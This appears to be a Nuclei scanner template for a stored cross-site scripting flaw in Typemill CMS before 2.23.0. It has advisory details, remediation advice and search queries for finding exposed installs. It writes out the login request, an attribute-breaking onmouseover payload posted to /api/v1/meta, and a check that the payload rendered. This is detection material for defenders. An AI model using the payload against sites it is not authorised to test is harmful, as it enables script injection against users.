Typemill CMS < 2.23.0 - Cross-Site Scripting

id: CVE-2026-53468

info:
  name: Typemill CMS < 2.23.0 - Cross-Site Scripting
  author: sandiyochristan
  severity: medium
  description: |
    Typemill CMS before version 2.23.0 is vulnerable to stored HTML attribute injection in the page metadata fields (og:title and og:description). An authenticated user with permission to modify page metadata can inject arbitrary HTML attributes into generated meta tags via the /api/v1/meta endpoint due to missing output encoding in the renderMeta() function in system/typemill/Assets.php.
  impact: |
    An authenticated attacker can inject arbitrary HTML attributes into meta tags, potentially leading to stored cross-site scripting (XSS) and execution of attacker-controlled JavaScript in the victim's browser context.
  remediation: |
    Update Typemill CMS to version 2.23.0 or later, which applies htmlspecialchars() encoding to metadata values before rendering.
  reference:
    - https://github.com/typemill/typemill/security/advisories/GHSA-wg6r-jwmr-p7gr
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53468
    - https://github.com/typemill/typemill
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 4.6
    cve-id: CVE-2026-53468
    epss-score: 0.00235
    epss-percentile: 0.14431
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: typemill
    product: typemill
    shodan-query: http.html:"typemill"
    fofa-query: body="typemill"
  tags: cve,cve2026,typemill,xss,cms,authenticated

variables:
  username: "{{username}}"
  password: "{{password}}"

flow: |
  http('login');
  http('inject');
  http('verify');

http:
  - id: login
    raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - "true"
        internal: true

  - id: inject
    raw:
      - |
        POST /api/v1/meta HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Session-Auth: true

        {"url":"/","tab":"meta","data":{"title":"{{randstr}}\" onmouseover=\"alert(document.domain)\" x=\"","status":"published"}}

    matchers:
      - type: dsl
        dsl:
          - "true"
        internal: true

  - id: verify
    raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover="alert(document.domain)"'
          - 'og:title'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402202612b2f069782179fd3832a2bf8cfb8f0df6a2fcebb20f17cd8baf25e8f6eec40220468a05f0c39cc47a341ee7fcdb469ca00aad82c8133bcdb96bbd5313aba3d461:922c64590222798bb761d5b6d8e72950